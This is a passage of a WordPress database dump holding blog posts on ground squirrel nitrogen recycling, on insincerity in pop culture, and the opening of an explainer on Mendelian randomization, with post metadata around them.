href=\"https://www.google.com/search?q=how+long+does+it+take+for+muscle+to+break+down&amp;sca_esv=581232494&amp;sxsrf=AM9HkKnfBbPBDIsFxv9qlapCCnxbwH4ptg%3A1699633155559&amp;source=hp&amp;ei=A1hOZaSAGfzn5NoP4ZGfyAM&amp;iflsig=AO6bgOgAAAAAZU5mEyPzaOQOucU5mwNOvT2TD2NOqJS4&amp;ved=0ahUKEwjkjejz6rmCAxX8M1kFHeHIBzkQ4dUDCAw&amp;uact=5&amp;oq=how+long+does+it+take+for+muscle+to+break+down&amp;gs_lp=Egdnd3Mtd2l6Ii5ob3cgbG9uZyBkb2VzIGl0IHRha2UgZm9yIG11c2NsZSB0byBicmVhayBkb3duMgUQABiABDIGEAAYFhgeMggQABiKBRiGAzIIEAAYigUYhgNI2StQAFj4KnAAeACQAQCYAdgBoAG8KqoBBzEyLjMyLjG4AQPIAQD4AQHCAgQQIxgnwgIHEC4YigUYJ8ICDRAuGIoFGMcBGK8BGCfCAg4QLhiKBRjHARivARiRAsICDhAuGIoFGMcBGNEDGJECwgIREC4YgAQYsQMYgwEYxwEY0QPCAgsQABiABBixAxiDAcICCxAuGIAEGLEDGIMBwgIHECMYigUYJ8ICCBAAGIoFGJECwgIKEAAYgAQYFBiHAsICBRAuGIAEwgIIEAAYigUYsQPCAggQABiABBixA8ICCBAAGBYYHhgK&amp;sclient=gws-wiz\">at least in humans</a>, so ground squirrels have to continually build new muscle even as they’re on bedrest. They especially have to build new muscle at the end of hibernation in order to get ready for spring. But, in order to do so, they need nitrogen, which makes up about&nbsp;<a href=\"https://www.google.com/search?q=what+percentage+of+protein+is+nitrogen&amp;sca_esv=581232494&amp;sxsrf=AM9HkKkBXnKbIcCzekuYx_Bt_ZZsE1zuJQ%3A1699633466507&amp;ei=OllOZavCHqeqptQPnbuR6A4&amp;ved=0ahUKEwirx5OI7LmCAxUnlYkEHZ1dBO0Q4dUDCBA&amp;uact=5&amp;oq=what+percentage+of+protein+is+nitrogen&amp;gs_lp=Egxnd3Mtd2l6LXNlcnAiJndoYXQgcGVyY2VudGFnZSBvZiBwcm90ZWluIGlzIG5pdHJvZ2VuMgQQABgeMggQABgIGB4YDzIIEAAYigUYhgMyCBAAGIoFGIYDMggQABiKBRiGA0j2GFCgBFjgF3AFeAGQAQCYAakBoAGZC6oBBDAuMTG4AQPIAQD4AQHCAgoQABhHGNYEGLADwgIGEAAYBxgewgIIEAAYCBgHGB7CAgoQABgIGAcYHhgPwgIIEAAYCBgeGA3CAggQIRigARjDBMICChAhGKABGMMEGAriAwQYACBBiAYBkAYI&amp;sclient=gws-wiz-serp\">16% of protein</a>. But, the only source of nitrogen is the nitrogen from their broken down muscles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that, at last, is where the microbiome comes in. You see, the normal nitrogen pathway in the body, in broad strokes, is amino acid -&gt; ammonia -&gt; urea -&gt; excretion via the kidneys. In hibernating ground squirrels, though,&nbsp;<a href=\"https://www.science.org/doi/full/10.1126/science.abh2950\">the urea is diverted</a><a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-2-139798506\">2</a>. After it’s produced in the liver, it’s transported via the blood to the cecum, the part of the large intestine that ruminants use to digest cellulose. There, bacteria living in the cecum of ground squirrels’ can transform the urea back to ammonia, where it can then be redistributed to the muscles.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not only does this allow ground squirrels to build muscle without having to eat any more food, but it also saves them from having to pee so often. In both humans and squirrels, one of the big reasons that we have to pee is to get rid of waste products from muscle catabolism, which this diversion tactic avoids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, ground squirrels’ microbiome keeps them buff and prevents them from having to get up from sleep to pee. That, to me, is finally a good use for a microbiome<a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-3-139798506\">3</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-anchor-1-139798506\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And yes, I am talking about every microbiome when I say this: skin, vagina, lung, mouth. Literally every healthy human microbiome outside of the stomach just prevents worse microbiomes from taking hold, and all of them are “good” insofar as they don’t harbor bad bacteria. There’s no point in this mass screening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-anchor-2-139798506\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this ground squirrel nitrogen recycling stuff is based on&nbsp;<a href=\"https://www.science.org/doi/full/10.1126/science.abh2950\">this paper</a>. One of the interesting things about this paper is how they work to put together all the evidence to actually make a persuasive case that this is happening. The trouble they faced is that they can’t actually observe the bacteria working in vivo (they can’t see inside the squirrel), and I don’t think they figured out how to get the bacteria working in vitro, either.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, they have the evidence that ground squirrels do, in fact, put on muscle mass during hibernation, and that nitrogen has to come from somewhere, and the squirrels aren’t eating anything, so it’s not coming from their food. So what do you do to prove it’s gut bacteria that are recycling the nitrogen?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the first and most obvious thing is just to compare ground squirrels with microbiomes to ground squirrels without microbiomes. So, do the obvious thing, and carpet bomb half the squirrels’ guts with antibiotics. This is a little tricky to do without messing with the squirrels’ hibernation, but apparently they managed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, now you can compare the urea concentration in the plasma of ground squirrels with microbiomes and see that it’s way higher than the plasma of ground squirrels who have depleted microbiomes, although weirdly enough only in the summer. What else?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, try to see if the urea is actually being recycled. One way to do that is to inject the squirrels with radioactive carbon. Squirrels who perform ureolysis (the breakdown of urea to transform it into protein again) will end up using that radioactive carbon and exhale it as carbon dioxide, which can be measured. Once again, you see that squirrels with microbiomes do way more ureolysis than squirrels without.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Last, you can inject the squirrels with radioactive nitrogen and trace everywhere that the nitrogen goes. Sure enough, you find a lot more of the radioactive nitrogen in the cecum and the liver in the squirrels with microbiomes, suggesting that they’re actively recycling them (although, weirdly, not in the skeletal muscle). Depressingly, you have to kill the squirrels for this last step :(.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can probably tell by my overuse of weirdly, I think there are some major unexplained issues with the data in this paper, and I’m a little suspicious of how much you can mess with a ground squirrel without messing with its hibernation. I think the story they tell is plausible enough and their data is ok, but there are definitely some parts missing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I were to put some probabilities on all of this, here’s what I’d say:<br><br>Probability that ground squirrels recycle nitrogen during hibernation - 95%. The nitrogen for building their muscles has to come from somewhere, and the only other possibility is that ground squirrels have figured out some symbiotic relationship with fungi or bacteria to fix nitrogen,&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5156715/\">like termites apparently have</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probability that ground squirrels use gut bacteria to recycle at least some nitrogen (assuming they do in, fact, recycle nitrogen) - 75%. The antibiotics definitely seemed to do something to the urea concentration, and ruminants, at least, can recycle nitrogen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Probability that ground squirrels use gut bacteria to recycle all nitrogen - 40%. There’s something weird going on with their data, especially with the lack of radioactive nitrogen in skeletal muscle. I think there must be some other way for ground squirrels to recycle or conserve nitrogen that’s not being accounted for here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/ground-squirrel-microbiomes-are-neat#footnote-anchor-3-139798506\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The paper that I took this from suggests in the final paragraph that this could be a treatment for sarcopenia, or muscle wasting, arguing that human beings might also have the ability to salvage urea, at least according to&nbsp;<a href=\"https://europepmc.org/article/med/1311657\">a pretty sparse paper from 1979</a>. While I appreciate the thought and the biohacking potential, I’m pretty sure sarcopenia isn’t caused by lack of nitrogen. It’s not like people on bed rest or old people lack nitrogen, it’s that their muscles waste away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sadly, as with the butyrate example, most microbiome stuff is kind of pointless for humans that live in an era with basically unlimited food/protein. Fun food for thought, though.</p>\n<!-- /wp:paragraph -->','Ground squirrel microbiomes are neat, unlike human microbiomes','','inherit','closed','closed','','425-revision-v1','','','2024-06-12 16:11:07','2024-06-12 16:11:07','',425,'https://trevorklee.com/?p=426',0,'revision','',0),
(427,1,'2024-06-12 16:11:56','2024-06-12 16:11:56','<!-- wp:paragraph -->\n<p><em>“Never believe that [...] are completely unaware of the absurdity of their replies. They know that their remarks are frivolous, open to challenge. But they are amusing themselves, for it is their adversary who is obliged to use words responsibly, since he believes in words. The [...] have the right to play.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>They even like to play with discourse for, by giving ridiculous reasons, they discredit the seriousness of their interlocutors. They delight in acting in bad faith, since they seek not to persuade by sound argument but to intimidate and disconcert. If you press them too closely, they will abruptly fall silent, loftily indicating by some phrase that the time for argument is past.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-Quote by Sartre, originally about anti-Semites</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I recently came across&nbsp;<a href=\"https://twitter.com/bbblanchett/status/1740046493812474251\">a clip on Twitter</a>&nbsp;of a new season of a Marvel TV show called&nbsp;<em>What If</em>. The premise of the show (and the premise of the comic series it’s based on) is that they present alternate realities of what could have happened in various Marvel movies, usually with an eye towards how they could have killed off some character or made two characters fight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this clip, they present Hela, goddess of death and archvillain, speaking to Loki, erstwhile god of trickery and villain turned hero. Hela dramatically slicks back her hair and says in a vaguely British accent, “You see, darling, I’m not most people. I’m the goddess of death.” Then, when Loki loudly swallows and raises an eyebrow, Hela hastily responds, “That usually gets a bigger reaction.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This clip was the source of a lot of controversy on Twitter, which, Twitter being Twitter, boiled down to an argument of “<em>What If</em>&nbsp;sucks” vs. “No, you suck”. Now, while I’m closer in opinion to the former, I think both sides miss the point. This clip isn’t disconcerting (or “cringe”) because it’s a bad one-liner. It’s disconcerting because it doesn’t take the source material seriously, while it expects the audience to. In other words, it’s insincere.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me explain. In order for us, as viewers, to enjoy this show, we have to accept these characters live in a pantheistic world in which abstract concepts, like trickery or death, have humanoid masters. These humanoids are sometimes heroes and sometimes villains, and they fight each other on very flimsy premises. While this is not far from the beliefs that our ancestors legitimately had, the flimsiness of the premises and the ubiquity of these humanoids does mean that it’s harder for us to take these characters seriously as actual “gods”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s ok! None of us mind that. We accept these premises in order to enjoy the story. We accept that a vaguely British woman with magic powers and a silly headdress is, somehow, the mistress of death, and that she presents a very real threat to a British man with different magic powers and an equally silly outfit. Then, once we accept that, we get worked up when the vaguely British woman tries to destroy the British man with her magic powers. People who don’t accept these premises, like, say, my mom, don’t enjoy these stories, can’t get worked up about the magic battles of British-ish people, and end up not watching content about them, which is also ok.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I dislike about this clip is that the writers of the dialogue acknowledge their viewers’ acceptance of the premises and immediately turn it around as a weapon against the viewer. Hela’s first line of dialogue, “I’m the goddess of death”, is an exciting, scary moment in the context of the show. Holy shit! It’s the goddess of death! She can, presumably, kill anyone super easily!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But the very next line undercuts it. Loki doesn’t take this reveal seriously, and, in turn, Hela backtracks, almost acknowledging that he’s not right to take it seriously. Loki has the exact same response as any reasonable person would to a random person in a silly outfit saying those exact lines, and Hela is embarrassed by it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m sure the writers would see my explanation of this joke and say, “Congrats, that’s the joke,” but that’s missing the point. Loki isn’t just making a joke at the expense of Hela. He is (and the writers are) making a joke at the expense of the audience. “Haha,” they say, “you took this reveal seriously! Can’t you see how ridiculous it is to accept the idea that a British-ish woman with a silly headdress is the mistress of death?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But of course we can! If someone said that to us at the gas station, we would respond the same way Loki did. But, we’re not at the gas station. We are watching a show on a streaming service that we paid money for in order to participate in this shared universe. And the writers know this. They’re taking advantage of our figurative and literal investment in this fictional universe in order to set up this “joke”, which is why they wrote this joke in the context of the Marvel universe, and not in the context of a random person at a gas station.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Phew, ok. That’s probably enough virtual ink spilled about a 14 second clip from Twitter for a TV show that I don’t think anyone who reads this newsletter watches. But, as you can probably tell from the quote at the beginning of this newsletter and from the title, I don’t think this rotting insincerity is limited to Marvel TV shows. I’ve been seeing it everywhere.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I see it in superhero movies every time the characters make a joke about how silly superhero names are (“Peter Parker? Are all your names alliterative?”). I see it in fantasy, when characters make sarcastic remarks about otherwise mundane elements of the world &nbsp; (“Ok, so I’m talking to a dragon now. That’s normal”). I see it in videogames, when players can pay to dress in flamboyant outfits in otherwise realistic games (like the bright rainbow colors of Call of Duty). I even see it in online political discussions, when people talk like 80s bullies (“If I ever met Ron DeSantis, I’d give him a wedgie.”)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In all of these, the “joke” is the same. You, as the audience, takes something seriously, be it a superhero movie, a fantasy book, a “realistic” videogame, or politics. They, as the commentator or writer, know how seriously you take this and how you’ve invested some amount of time or money in it. So, they joke that, in fact, this is silly and you shouldn’t take it seriously.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hate this joke. It rots. Everything good in society or in life is based around taking ideas seriously, especially if there’s no reason to do so. Take my local grocery store, for instance. It has self-checkout lanes now, which are way more convenient than waiting for the cashier and make going to the grocery store much faster. It also allows the grocery store to save on costs, because they don’t have to hire as many cashiers, which hopefully allows the grocery store to pass savings onto the consumer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know what the easiest joke in the world is? To look at the self-checkout lanes, and make a “joke” that it allows you to buy every item as a banana. Do you get it? The joke is that self-checkout lanes rely on some amount of honesty, because the technology can only distinguish items roughly by weight. So, you can take a filet mignon, ring it up for the price of a banana, and walk out with a filet mignon for 95% off every time. If I make that joke, I’m not giving you an idea you never thought of. I’m just making fun of you for taking the honesty part of the self-checkout seriously, and pointing out that there’s no reason to be honest about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then I make that joke, and other people make that joke, and you start feeling pretty stupid for taking the honesty part seriously because nobody else does. So you start ringing up filet mignons as bananas, and then everyone else does, too, and before you know it self-checkout lanes get ripped out and replaced by cashiers, and the grocery store is slow again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This “joke” can rot away the substrate of honesty on which self-checkout lanes are built, just as it can rot away the willing suspension of disbelief that’s inherent to superhero movies. And, just as in the Sartre quote at the beginning, these “jokes” can rot away the foundation for serious discussion that’s inherent to productive dialogue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, to be totally honest, I worry that, eventually, the jokes turn back on the person who’s making them. Living life forever poking holes in the things that other people choose to take seriously makes it difficult to maintain or moderate beliefs in the things that you choose to take seriously. You end up either believing in nothing, or believing in something so strongly that you’re unable to abide anyone even remotely questioning it. You throw so many stones to protect your own glasshouse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s where I think we are today, actually. It’s been so long since I’ve seen a popular writer articulate a compelling, positive version of the future because it seems like every popular writer is so focused on poking holes in everything that belief in anything seems silly. So we end up living in a lonely world, one in which the only beliefs that can be taken seriously are those too depressing for it to be fun to poke holes in them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As for me, well, I’m no innocent in this. I admit poking more than my fair share of fun. But I’m trying to change, and most of what I write here on this blog is as sincere as it can be.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For now it is 2024, and here there is no place that does not see you. You must change your life. Happy New Year!</p>\n<!-- /wp:paragraph -->','Let\'s be more sincere in the New Year','','publish','closed','closed','','lets-be-more-sincere-in-the-new-year','','','2024-06-12 16:11:56','2024-06-12 16:11:56','',0,'https://trevorklee.com/?page_id=427',0,'page','',0),
(428,1,'2024-06-12 16:11:56','2024-06-12 16:11:56','<!-- wp:paragraph -->\n<p><em>“Never believe that [...] are completely unaware of the absurdity of their replies. They know that their remarks are frivolous, open to challenge. But they are amusing themselves, for it is their adversary who is obliged to use words responsibly, since he believes in words. The [...] have the right to play.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>They even like to play with discourse for, by giving ridiculous reasons, they discredit the seriousness of their interlocutors. They delight in acting in bad faith, since they seek not to persuade by sound argument but to intimidate and disconcert. If you press them too closely, they will abruptly fall silent, loftily indicating by some phrase that the time for argument is past.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>-Quote by Sartre, originally about anti-Semites</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I recently came across&nbsp;<a href=\"https://twitter.com/bbblanchett/status/1740046493812474251\">a clip on Twitter</a>&nbsp;of a new season of a Marvel TV show called&nbsp;<em>What If</em>. The premise of the show (and the premise of the comic series it’s based on) is that they present alternate realities of what could have happened in various Marvel movies, usually with an eye towards how they could have killed off some character or made two characters fight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this clip, they present Hela, goddess of death and archvillain, speaking to Loki, erstwhile god of trickery and villain turned hero. Hela dramatically slicks back her hair and says in a vaguely British accent, “You see, darling, I’m not most people. I’m the goddess of death.” Then, when Loki loudly swallows and raises an eyebrow, Hela hastily responds, “That usually gets a bigger reaction.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This clip was the source of a lot of controversy on Twitter, which, Twitter being Twitter, boiled down to an argument of “<em>What If</em>&nbsp;sucks” vs. “No, you suck”. Now, while I’m closer in opinion to the former, I think both sides miss the point. This clip isn’t disconcerting (or “cringe”) because it’s a bad one-liner. It’s disconcerting because it doesn’t take the source material seriously, while it expects the audience to. In other words, it’s insincere.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me explain. In order for us, as viewers, to enjoy this show, we have to accept these characters live in a pantheistic world in which abstract concepts, like trickery or death, have humanoid masters. These humanoids are sometimes heroes and sometimes villains, and they fight each other on very flimsy premises. While this is not far from the beliefs that our ancestors legitimately had, the flimsiness of the premises and the ubiquity of these humanoids does mean that it’s harder for us to take these characters seriously as actual “gods”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s ok! None of us mind that. We accept these premises in order to enjoy the story. We accept that a vaguely British woman with magic powers and a silly headdress is, somehow, the mistress of death, and that she presents a very real threat to a British man with different magic powers and an equally silly outfit. Then, once we accept that, we get worked up when the vaguely British woman tries to destroy the British man with her magic powers. People who don’t accept these premises, like, say, my mom, don’t enjoy these stories, can’t get worked up about the magic battles of British-ish people, and end up not watching content about them, which is also ok.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What I dislike about this clip is that the writers of the dialogue acknowledge their viewers’ acceptance of the premises and immediately turn it around as a weapon against the viewer. Hela’s first line of dialogue, “I’m the goddess of death”, is an exciting, scary moment in the context of the show. Holy shit! It’s the goddess of death! She can, presumably, kill anyone super easily!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But the very next line undercuts it. Loki doesn’t take this reveal seriously, and, in turn, Hela backtracks, almost acknowledging that he’s not right to take it seriously. Loki has the exact same response as any reasonable person would to a random person in a silly outfit saying those exact lines, and Hela is embarrassed by it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m sure the writers would see my explanation of this joke and say, “Congrats, that’s the joke,” but that’s missing the point. Loki isn’t just making a joke at the expense of Hela. He is (and the writers are) making a joke at the expense of the audience. “Haha,” they say, “you took this reveal seriously! Can’t you see how ridiculous it is to accept the idea that a British-ish woman with a silly headdress is the mistress of death?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But of course we can! If someone said that to us at the gas station, we would respond the same way Loki did. But, we’re not at the gas station. We are watching a show on a streaming service that we paid money for in order to participate in this shared universe. And the writers know this. They’re taking advantage of our figurative and literal investment in this fictional universe in order to set up this “joke”, which is why they wrote this joke in the context of the Marvel universe, and not in the context of a random person at a gas station.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Phew, ok. That’s probably enough virtual ink spilled about a 14 second clip from Twitter for a TV show that I don’t think anyone who reads this newsletter watches. But, as you can probably tell from the quote at the beginning of this newsletter and from the title, I don’t think this rotting insincerity is limited to Marvel TV shows. I’ve been seeing it everywhere.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I see it in superhero movies every time the characters make a joke about how silly superhero names are (“Peter Parker? Are all your names alliterative?”). I see it in fantasy, when characters make sarcastic remarks about otherwise mundane elements of the world &nbsp; (“Ok, so I’m talking to a dragon now. That’s normal”). I see it in videogames, when players can pay to dress in flamboyant outfits in otherwise realistic games (like the bright rainbow colors of Call of Duty). I even see it in online political discussions, when people talk like 80s bullies (“If I ever met Ron DeSantis, I’d give him a wedgie.”)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In all of these, the “joke” is the same. You, as the audience, takes something seriously, be it a superhero movie, a fantasy book, a “realistic” videogame, or politics. They, as the commentator or writer, know how seriously you take this and how you’ve invested some amount of time or money in it. So, they joke that, in fact, this is silly and you shouldn’t take it seriously.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I hate this joke. It rots. Everything good in society or in life is based around taking ideas seriously, especially if there’s no reason to do so. Take my local grocery store, for instance. It has self-checkout lanes now, which are way more convenient than waiting for the cashier and make going to the grocery store much faster. It also allows the grocery store to save on costs, because they don’t have to hire as many cashiers, which hopefully allows the grocery store to pass savings onto the consumer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You know what the easiest joke in the world is? To look at the self-checkout lanes, and make a “joke” that it allows you to buy every item as a banana. Do you get it? The joke is that self-checkout lanes rely on some amount of honesty, because the technology can only distinguish items roughly by weight. So, you can take a filet mignon, ring it up for the price of a banana, and walk out with a filet mignon for 95% off every time. If I make that joke, I’m not giving you an idea you never thought of. I’m just making fun of you for taking the honesty part of the self-checkout seriously, and pointing out that there’s no reason to be honest about it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then I make that joke, and other people make that joke, and you start feeling pretty stupid for taking the honesty part seriously because nobody else does. So you start ringing up filet mignons as bananas, and then everyone else does, too, and before you know it self-checkout lanes get ripped out and replaced by cashiers, and the grocery store is slow again.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This “joke” can rot away the substrate of honesty on which self-checkout lanes are built, just as it can rot away the willing suspension of disbelief that’s inherent to superhero movies. And, just as in the Sartre quote at the beginning, these “jokes” can rot away the foundation for serious discussion that’s inherent to productive dialogue.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, to be totally honest, I worry that, eventually, the jokes turn back on the person who’s making them. Living life forever poking holes in the things that other people choose to take seriously makes it difficult to maintain or moderate beliefs in the things that you choose to take seriously. You end up either believing in nothing, or believing in something so strongly that you’re unable to abide anyone even remotely questioning it. You throw so many stones to protect your own glasshouse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s where I think we are today, actually. It’s been so long since I’ve seen a popular writer articulate a compelling, positive version of the future because it seems like every popular writer is so focused on poking holes in everything that belief in anything seems silly. So we end up living in a lonely world, one in which the only beliefs that can be taken seriously are those too depressing for it to be fun to poke holes in them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As for me, well, I’m no innocent in this. I admit poking more than my fair share of fun. But I’m trying to change, and most of what I write here on this blog is as sincere as it can be.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For now it is 2024, and here there is no place that does not see you. You must change your life. Happy New Year!</p>\n<!-- /wp:paragraph -->','Let\'s be more sincere in the New Year','','inherit','closed','closed','','427-revision-v1','','','2024-06-12 16:11:56','2024-06-12 16:11:56','',427,'https://trevorklee.com/?p=428',0,'revision','',0),
(429,1,'2024-06-12 16:13:41','2024-06-12 16:13:41','<!-- wp:paragraph -->\n<p>Correlation doesn’t equal causation. We all have this beaten into our heads by legions of Internet commenters who spam it under every science article.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, why not?<br><br>Well, the simple answer is because just because A and B happen at around the same time doesn’t mean A causes B. B could cause A, or something else could cause both of them, or maybe they have nothing to do with each other.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If I was an Internet commentator, I’d just leave it there. But, let’s think like a scientist. What if we ruled out every possible other path from A to B, besides the path that A causes B? Would that mean that A causes B?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br><br>I mean, well, yeah, right? That’s kind of what a controlled experiment is for. It rules out every other possibility besides A causing B. If we, say, use a catapult to launch a boulder, we can say the movement of the catapult caused the boulder to be launched, even though technically the movement of the catapult was just correlated with the boulder. But we know for sure the boulder didn’t cause the movement of the catapult, and that the two didn’t just happen to both happen at around the same time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is an interesting, but not particularly useful way to think about an experiment. It can, however, be a very useful way to think about observations. If we observe A and B are correlated, and we rule out every other possibility other than A causing B, A has to have caused B.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is exactly how Mendelian randomization works. Mendelian randomization is a way of showing that genetic variation can cause a certain outcome, like a certain “single nucleotide polymorphism” (a one letter substitution in the genetic code) can cause someone to be statistically more susceptible to heart attacks. We can use Mendelian randomization to show this by correlation alone, which is really neat. Let’s get into how we do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We start with a genetic variation. Let’s stick with our heart attack example, and say there’s a mutation in the ABCA1 gene<a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-1-140806883\">1</a>. We think that has something to do with heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our first task is to identify a way in which the ABCA1 gene could impact heart attacks. It’s obviously not going to impact heart attacks directly, but it could impact it through cholesterol levels, which we already know from prior experiments in mice that the ABCA1 gene impacts.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We now have our basic setup: we want to check if the gene variant’s impact on cholesterol levels impacts the chance of heart attacks. So, now we can take a bunch of people who have the genetic variant and who don’t, and measure their levels of cholesterol and their chance of heart attack. We’ll eventually get some statistics on who has the genetic variant, what their cholesterol levels are, and who got heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s say that, in our statistics, we find that people with a certain SNP have a statistically lower level of HDL cholesterol but an lower rate of heart attacks compared to normal people<a href=\"https://trevorklee.substack.com/p/how-to-get-causation-from-correlation#footnote-2-140806883\">2</a>. This is our correlation. Let’s run through our possible paths as to why this might be.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1) The SNP causes a decrease in cholesterol, which lowers the rate of heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) The SNP causes something else, which lowers the rate of heart attacks. The lowered cholesterol happens for some completely different reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) The SNP directly lowers the rate of heart attacks. The lowered cholesterol happens for some completely different reason.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) The SNP causes the decrease in cholesterol. Something else lowers the rate of heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5) Something else causes the SNP, the lowered rate of cholesterol, and the heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6) The SNP causes the decrease in cholesterol and also, through a separate mechanism, lowers the rate of heart attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7) The lowered rate of cholesterol causes the SNP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our goal is to narrow it down to only 1. Let’s see what we can cross out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s start by crossing out 7. Genetic variations are fixed at birth, and definitely can’t be caused by something in the body.</p>\n<!-- /wp:paragraph 